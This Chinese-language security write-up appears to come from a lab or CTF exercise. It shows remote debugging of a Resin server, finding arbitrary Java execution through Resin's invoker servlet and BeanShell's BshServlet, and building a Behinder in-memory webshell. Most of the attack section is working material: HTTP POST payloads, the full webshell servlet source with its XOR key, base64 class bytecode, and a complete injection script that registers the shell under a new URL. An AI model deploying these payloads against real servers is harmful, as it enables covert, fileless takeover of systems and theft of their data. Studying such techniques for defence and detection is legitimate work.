Resin
源代码位置
通过查看resin/conf/resin.xml
文件可以看到,Web路径在resin/simple
下,将该目录拷贝出来。
Resin远程调试
配置Resin JVM参数
在resin/conf/resin.properties
文件中,找到jvm_args
以及jvm_mode
,修改内容为:
jvm_args : -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 # -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
jvm_mode : -server
随后重启启动Resin。
配置IDEA
使用IDEA打开拷贝出来的simple
文件夹,IDEA会自动识别到web.xml
而后提示,勾选配置项目即可,此外还需要添加Java EE6
的依赖。随后配置远程调试:
随后进行路径映射配置,将WEB-INF/classes
作为添加为依赖库:
如不进行此操作,断点无效
最后配置Resin
的依赖,将resin/lib
文件夹复制到项目下,并且将该文件夹添加为依赖:
这样就配置好了调试。
Resin代码审计
实际代码就一个Class
,反编译后可以看到没有问题:
public class DemoServlet extends HttpServlet {
public DemoServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("name");
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<html><p>Hello <b>" + name + "</b>!</p></html>");
}
}
说明肯定这里没有问题,先查看具体的配置文件:
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>${project.artifactId} ${project.version}</display-name>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<session-config>
<session-timeout>15</session-timeout>
</session-config>
<servlet>
<servlet-name>DemoServlet</servlet-name>
<servlet-class>org.me.DemoServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DemoServlet</servlet-name>
<url-pattern>/servlet/org.me.DemoServlet</url-pattern>
</servlet-mapping>
</web-app>
Web.xml
的配置也很常规,还有一个resin-web.xml
:
<web-app xmlns="http://caucho.com/ns/resin">
<servlet-mapping url-pattern="/servlet/*" servlet-name="invoker"/>
</web-app>
这里的servlet-name
有点问题,invoker
并不是代码里的,说明应该是Resin提供的,查询文档可以看到:
下面警告还特别提醒了invoker
的servlet
可能会创建安全漏洞,说明应该是这个了。
但是搜索了一圈也没有发现利用的方式。
那就从这个提示入手,提示说invoker
是用来通过类名
分发servlets
的,再看下面,意思是任意在classpath
的servlet
,甚至是在一个使用者没有意识到的jar
里,都可能被执行。
而在这个项目里,classpath
里就只有一个依赖的jar
,即bsh-2.0b4.jar
。
那么只要找找这个Jar
包里有没有可以利用的Servlet
就可以确定了。
将该Jar
包反编译以更好地进行审计:
py -3 java-decompiler.py -j -i .\WEB-INF\lib\bsh-2.0b4.jar -o./src
搜索发现只有一个Servlet
:
找到其参考文档:Servlet Mode · beanshell/beanshell Wiki · GitHub
四个参数分别如下:
而Bean Shell,根据其描述:
也就是说现在有Java的任意代码执行了,测试一下:
确实可以执行,那么接下来就是考虑利用这个注入内存马了。
Resin内存马
WebApp
获取ServletContext
由于对Resin不是很了解,先打个断点到实际的doGet
方法中,查看实际调用堆栈:
最终在service:314, ServletInvocation
这个类中找到了获取到ServletRequest
的方法:
public static ServletRequest getContextRequest() {
ProtocolConnection req = TcpSocketLink.getCurrentRequest();
if (req instanceof AbstractHttpRequest) {
return ((AbstractHttpRequest)req).getRequestFacade();
} else {
return req instanceof ServletRequest ? (ServletRequest)req : null;
}
}
但是在这个场景中其实并不需要获取到ServletRequest
,在BshServlet
中,有如下代码:
Object evalScript(String var1, StringBuffer var2, boolean var3, HttpServletRequest var4, HttpServletResponse var5) throws EvalError {
ByteArrayOutputStream var6 = new ByteArrayOutputStream();
PrintStream var7 = new PrintStream(var6);
Interpreter var8 = new Interpreter((Reader)null, var7, var7, false);
var8.set("bsh.httpServletRequest", var4);
var8.set("bsh.httpServletResponse", var5);
Object var9 = null;
Object var10 = null;
PrintStream var11 = System.out;
PrintStream var12 = System.err;
if (var3) {
System.setOut(var7);
System.setErr(var7);
}
try {
var9 = var8.eval(var1);
} finally {
if (var3) {
System.setOut(var11);
System.setErr(var12);
}
}
var7.flush();
var2.append(var6.toString());
return var9;
}
可以看到在执行前实际给Interpreter
设置了两个变量bsh.httpServletRequest
以及bsh.httpServletResponse
,又由于HttpServletRequest
是继承了ServletRequest
的,这使得在BeanShell脚本可以直接使用,而无需自己获取,这样就可以从ServletRequest
拿到对应的ServletContext
了。
Servlet内存马
添加Servlet
通过IDEA分析可以看到两个继承:
而在第一个ServletContextImpl
中的方法内容为:
说明不是这个,再看WebApp
:
这里有实际的实现,再看这三个实现,实际最后都是调用了this.addServlet(String servletName, String servletClassName, Class<? extends Servlet> servletClass, Servlet servlet)
,那么看该方法:
发现添加使用的是this.addServlet(ServletConfigImpl config)
,再看:
至此就明了了,要想添加一个Servlet
,只需要调用WebApp
的addServlet(ServletConfigImpl config)
即可。
接下来看下怎么构造ServletConfigImpl
,仔细观察上面的代码,三个继承ServletContext
的addServlet
方法,以及下面的this.addServlet(String servletName, String servletClassName, Class<? extends Servlet> servletClass, Servlet servlet)
会发现,config.setServlet(servlet)
可以传递为null
,而config.setServletClass
的多态只是为了更方便设置ServletClass
,因此实际只需要调用ServletConfigImpl.setServletName
以及ServletConifgImpl.setServletClass
即可构造完成。
接下来实验一下,初始的Servlet
列表为:
接下来发送以下Payload:
POST /servlet/bsh.servlet.BshServlet HTTP/1.1
Host: 192.168.83.137:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
bsh.script=javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletName("test");
sci.setServletClass("org.me.DemoServlet");
app.addServlet(sci);
再次查看Servlet
列表:
成功添加Servlet
列表,接下来就是将该Servlet
路由进行映射了。
Servlet路由映射
接下来需要查看是如何配置路由的,通过IDEA的分析,可以看到javax.servlet.ServletRegistration:addMapping
方法的实现只有一个:
跟进到该方法:
不难发现实际上通过了WebApp:addServletMapping
去设置映射,再看:
于是再次跟进到ServletMapping:init
方法:
public void init(ServletMapper mapper) throws ServletException {
boolean hasInit = false;
if (this.getServletName() == null) {
this.setServletName(this.getServletNameDefault());
}
if (this.getServletName() != null && this.getServletName().indexOf("${") >= 0) {
this._isRegexp = true;
}
if (this.getServletClassName() != null && this.getServletClassName().indexOf("${") >= 0) {
this._isRegexp = true;
}
boolean ifAbsent = this._ifAbsent;
for(int i = 0; i < this._mappingList.size(); ++i) {
Mapping mapping = (Mapping)this._mappingList.get(i);
String urlPattern = mapping.getUrlPattern();
String urlRegexp = mapping.getUrlRegexp();
if (this.getServletName() == null && this.getServletClassName() != null && urlPattern != null) {
this.setServletName(urlPattern);
}
if (urlPattern != null && !hasInit) {
hasInit = true;
super.init();
if (this.getServletClassName() != null) {
mapper.getServletManager().addServlet(this);
}
}
if (urlPattern != null) {
if (mapper.addUrlMapping(urlPattern, this.getServletName(), this, ifAbsent)) {
ifAbsent = false;
}
} else {
mapper.addUrlRegexp(urlRegexp, this.getServletName(), this);
}
}
}
可以看到,在里面调用了ServletMapper
的方法,再看ServletMapper
,通过对其属性以及方法的观察,可以判断这应该就是存储路由的类。
这样子实际上只需要调用WebApp:addServletMapping
就应该可以动态地注册一个Servlet
。
接下来考虑构造ServletMapping
,参考addMapping
中的代码如下:
ServletMapping mapping = this._webApp.createServletMapping();
mapping.setIfAbsent(true);
mapping.setServletName(this.getServletName());
String[] var11 = urlPatterns;
var5 = urlPatterns.length;
for(int var12 = 0; var12 < var5; ++var12) {
String urlPattern = var11[var12];
mapping.addURLPattern(urlPattern);
}
this._webApp.addServletMapping(mapping);
那么构造的话,就可以类似的:
ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName("servlet name");
m.addUrlPattern("/prefix");
于是尝试以下Payload:
POST /servlet/bsh.servlet.BshServlet HTTP/1.1
Host: 192.168.83.137:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
bsh.script=javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletName("test1");
sci.setServletClass("org.me.DemoServlet");
app.addServlet(sci);
com.caucho.server.dispatch.ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName("test1");
m.addURLPattern("/test1");
app.addServletMapping(m);
测试是否成功:
冰蝎内存马改造 - Resin Servlet
内存马与文件马只是差距在有无文件落地,实现某一工具的内存马只需要保证内存马与其生成的文件马数据交互逻辑一致,即可正常使用。
在开始之前需要注意,生成的服务端代码使用了JSP
相关的东西,在equals(pageContext)
这一步代码中,pageContext
就是javax.servlet.jsp.PageContext
,因此在Servlet
中,需要获取该对象。
该对象可以通过javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext
获取,但是需要传递参数,在Resin中的实现:
public PageContext getPageContext(Servlet servlet, ServletRequest request, ServletResponse response, String errorPageURL, boolean needsSession, int buffer, boolean autoFlush) {
PageContextImpl pc = new PageContextImpl();
try {
pc.initialize(servlet, request, response, errorPageURL, needsSession, buffer, autoFlush);
} catch (Exception var10) {
}
return pc;
}
参数通过名字可以比较轻松的知道是什么含义,于是获取PageContext
:
javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);
当然,实际上冰蝎的逻辑后来有所修改,如下:
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
也就是说,冰蝎只需要拿到三个对应的对象Request
、Response
以及Session
即可,而且如果传入的pageContext
为javax.servlet.jsp.PageContext
的话,就调用对应的get
方法,否则就将其转换为Map
对象,通过Map:get
去获取对应的对象,那么也可以写成:
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", req);
pageContext.put("response", resp);
pageContext.put("session", req.getSession());
为了使得传输方便,摒弃冰蝎的JSP中的Class U extend ClassLoader
的写法,因为这种写法编译成字节码后存在内部类,会生成两个字节码文件,因此使用反射加载:
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte byteCode[] = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
给出完整的代码:
package org.me;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.*;
import java.io.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class MemShellServlet extends HttpServlet {
public MemShellServlet() {
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doGet(req, resp);
resp.getWriter().println("Mem shell ok");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doPost(req, resp);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = req.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = req.getInputStream().read(buf);
}
// javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", req);
pageContext.put("response", resp);
pageContext.put("session", req.getSession());
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte byteCode[] = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
}
编译可以在本地进行,添加参数
--release 8
即可编译为Java 8能识别的字节码。
注意doGet
和doPost
中的逻辑不要调用super.doGet()
或者super.doPost()
,原因如下:
该代码会直接返回405,结束请求。
测试一下冰蝎能否正常链接该马:
正常链接,冰蝎内存马改造完成。
注入内存马
BeanShell
实际不能支持所有的Java
代码,这是由于目前的Java
代码还含有各种语法糖,以下面这行代码为例:
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
这行代码并不能在Beanshell
被解析,如图:
会提示方法不存在,这是由于可变参数实际只是一个语法糖,它并不是最终的Java
代码。
数组的声明也必须按照最原始的
ClassName[] array = new ClassName[length]
才可以被解析。
想要实现这个,就必须理解可变长参数的实现,实质可变参数传递的只是一个对象数组,这就是可变长参数的实质,因此,可以这么获取到defineClass
的方法对象:
Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
print(defineClass);
如图,这样就获取到了该方法对象:
接下来加载字节码,通过反射将其属性设为可访问,然后加载字节码,完整代码如下:
Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAkQoAAgADBwAEDAAFAAYBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBAAY8aW5pdD4BAAMoKVYLAAgACQcACgwACwAMAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwgADgEADE1lbSBzaGVsbCBvawoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgcAFgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgAVAAMLABkAGgcAGwwAHAAdAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgAfACAHACEMACIAIwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgAlACYHACcMACgAKQEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgAVACsMACwALQEABXdyaXRlAQAFKFtCKVYKAC8AMAcAMQwAMgAzAQAcamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeQEAEWdldERlZmF1bHRGYWN0b3J5AQAgKClMamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeTsKAC8ANQwANgA3AQAOZ2V0UGFnZUNvbnRleHQBAIooTGphdmF4L3NlcnZsZXQvU2VydmxldDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9TdHJpbmc7WklaKUxqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsHADkBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIADsBAAtkZWZpbmVDbGFzcwcAPQEAD2phdmEvbGFuZy9DbGFzcwcAPwEAAltCCQBBAEIHAEMMAEQARQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgA8AEcMAEgASQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAFQBLDABMAE0BAAt0b0J5dGVBcnJheQEABCgpW0IKAE8AUAcAUQwAUgBTAQAWb3JnL21lL01lbVNoZWxsU2VydmxldAEAB0RlY3J5cHQBAAYoW0IpW0IKAFUAVgcAVwwAWABZAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAFsAXAcAXQwAXgBfAQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoAPABhDABiAGMBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAEEAZQwAZgBnAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAFUAaQwAagBrAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA8AG0MAG4AbwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAFsAcQwAcgBzAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaBwB1AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAdwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgB2AHkMAAUAegEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVggAfAEAEGU0NWUzMjlmZWI1ZDkyNWIKAH4AfwcAgAwAgQBNAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEACkV4Y2VwdGlvbnMHAIgBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HAIoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAGZG9Qb3N0AQANU3RhY2tNYXBUYWJsZQcAjgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAKU291cmNlRmlsZQEAFE1lbVNoZWxsU2VydmxldC5qYXZhACEATwACAAAAAAAEAAEABQAGAAEAggAAACEAAQABAAAABSq3AAGxAAAAAQCDAAAACgACAAAADgAEABAABACEAIUAAgCCAAAAKAACAAMAAAAMLLkABwEAEg22AA%2BxAAAAAQCDAAAACgACAAAAFQALABYAhgAAAAYAAgCHAIkABACLAIUAAgCCAAABWgAIAAoAAADFuwAVWbcAF04RAgC8CDoEK7kAGAEAGQS2AB42BRUFngAjGQQDFQW4ACQ6Bi0ZBrYAKiu5ABgBABkEtgAeNgWn%2F964AC4qKywBBBEgAAS2ADQ6BhI4EjoGvQA8WQMSPlNZBLIAQFNZBbIAQFO2AEY6ByottgBKtwBOOggZBwS2AFQZByq2AFq2AGAGvQBbWQMZCFNZBAO4AGRTWQUZCL64AGRTtgBowAA8OgkZCbYAbBkGtgBwV6cADzoHuwB2WRkHtwB4v7EAAQBSALUAuAB0AAIAgwAAAEoAEgAAABsACAAcAA8AHQAcAB4AIQAfACsAIAAxACEAPgAiAEEAIwBSACUAcAAmAHoAJwCAACgAqgApALUALQC4ACsAugAsAMQALgCMAAAAKwAE%2FgAcBwAVBwA%2BAST%2FAHYABwcATwcAGQcACAcAFQcAPgEHAI0AAQcAdAsAhgAAAAYAAgCHAIkAAgBSAFMAAQCCAAAAYAAGAAQAAAAmEntNAz4dK76iABwrHSsdMyy2AH0dBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAIMAAAAWAAUAAAAyAAMAMwALADQAHgAzACQANgCMAAAADAAC%2FQAFBwB%2BAfoAHgABAI8AAAACAJA%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("OK");
print(org.me.MemShellServlet.class);
由于Base64中有
+
号,需要对其URL编码,否则会解码失败。
在执行前,查看一下是否存在类,执行后,再次查看:
发现成功加载了字节码。
接下来,结合一下,打入内存马,由于字节码已经加载了,因此重启一下服务。
完整的Payload如下:
Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAkQoAAgADBwAEDAAFAAYBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBAAY8aW5pdD4BAAMoKVYLAAgACQcACgwACwAMAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwgADgEADE1lbSBzaGVsbCBvawoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgcAFgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgAVAAMLABkAGgcAGwwAHAAdAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgAfACAHACEMACIAIwEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgAlACYHACcMACgAKQEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgAVACsMACwALQEABXdyaXRlAQAFKFtCKVYKAC8AMAcAMQwAMgAzAQAcamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeQEAEWdldERlZmF1bHRGYWN0b3J5AQAgKClMamF2YXgvc2VydmxldC9qc3AvSnNwRmFjdG9yeTsKAC8ANQwANgA3AQAOZ2V0UGFnZUNvbnRleHQBAIooTGphdmF4L3NlcnZsZXQvU2VydmxldDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9TdHJpbmc7WklaKUxqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsHADkBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIADsBAAtkZWZpbmVDbGFzcwcAPQEAD2phdmEvbGFuZy9DbGFzcwcAPwEAAltCCQBBAEIHAEMMAEQARQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgA8AEcMAEgASQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAFQBLDABMAE0BAAt0b0J5dGVBcnJheQEABCgpW0IKAE8AUAcAUQwAUgBTAQAWb3JnL21lL01lbVNoZWxsU2VydmxldAEAB0RlY3J5cHQBAAYoW0IpW0IKAFUAVgcAVwwAWABZAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAFsAXAcAXQwAXgBfAQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoAPABhDABiAGMBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAEEAZQwAZgBnAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAFUAaQwAagBrAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA8AG0MAG4AbwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAFsAcQwAcgBzAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaBwB1AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAdwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgB2AHkMAAUAegEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVggAfAEAEGU0NWUzMjlmZWI1ZDkyNWIKAH4AfwcAgAwAgQBNAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEACkV4Y2VwdGlvbnMHAIgBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HAIoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAGZG9Qb3N0AQANU3RhY2tNYXBUYWJsZQcAjgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAKU291cmNlRmlsZQEAFE1lbVNoZWxsU2VydmxldC5qYXZhACEATwACAAAAAAAEAAEABQAGAAEAggAAACEAAQABAAAABSq3AAGxAAAAAQCDAAAACgACAAAADgAEABAABACEAIUAAgCCAAAAKAACAAMAAAAMLLkABwEAEg22AA%2BxAAAAAQCDAAAACgACAAAAFQALABYAhgAAAAYAAgCHAIkABACLAIUAAgCCAAABWgAIAAoAAADFuwAVWbcAF04RAgC8CDoEK7kAGAEAGQS2AB42BRUFngAjGQQDFQW4ACQ6Bi0ZBrYAKiu5ABgBABkEtgAeNgWn%2F964AC4qKywBBBEgAAS2ADQ6BhI4EjoGvQA8WQMSPlNZBLIAQFNZBbIAQFO2AEY6ByottgBKtwBOOggZBwS2AFQZByq2AFq2AGAGvQBbWQMZCFNZBAO4AGRTWQUZCL64AGRTtgBowAA8OgkZCbYAbBkGtgBwV6cADzoHuwB2WRkHtwB4v7EAAQBSALUAuAB0AAIAgwAAAEoAEgAAABsACAAcAA8AHQAcAB4AIQAfACsAIAAxACEAPgAiAEEAIwBSACUAcAAmAHoAJwCAACgAqgApALUALQC4ACsAugAsAMQALgCMAAAAKwAE%2FgAcBwAVBwA%2BAST%2FAHYABwcATwcAGQcACAcAFQcAPgEHAI0AAQcAdAsAhgAAAAYAAgCHAIkAAgBSAFMAAQCCAAAAYAAGAAQAAAAmEntNAz4dK76iABwrHSsdMyy2AH0dBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAIMAAAAWAAUAAAAyAAMAMwALADQAHgAzACQANgCMAAAADAAC%2FQAFBwB%2BAfoAHgABAI8AAAACAJA%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(org.me.MemShellServlet.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
String sn="memshell";
sci.setServletName(sn);
sci.setServletClass("org.me.MemShellServlet");
app.addServlet(sci);
com.caucho.server.dispatch.ServletMapping m = app.createServletMapping();
m.setIfAbsent(true);
m.setServletName(sn);
m.addURLPattern("/".concat(sn));
app.addServletMapping(m);
print("MemShell Inject Done");
注意不要使用任何语法糖的写法,字符串的
+
实际是String.concat
方法,因此这里倒数第三行使用了"/".concat(sn)
,而不是"/"+sn
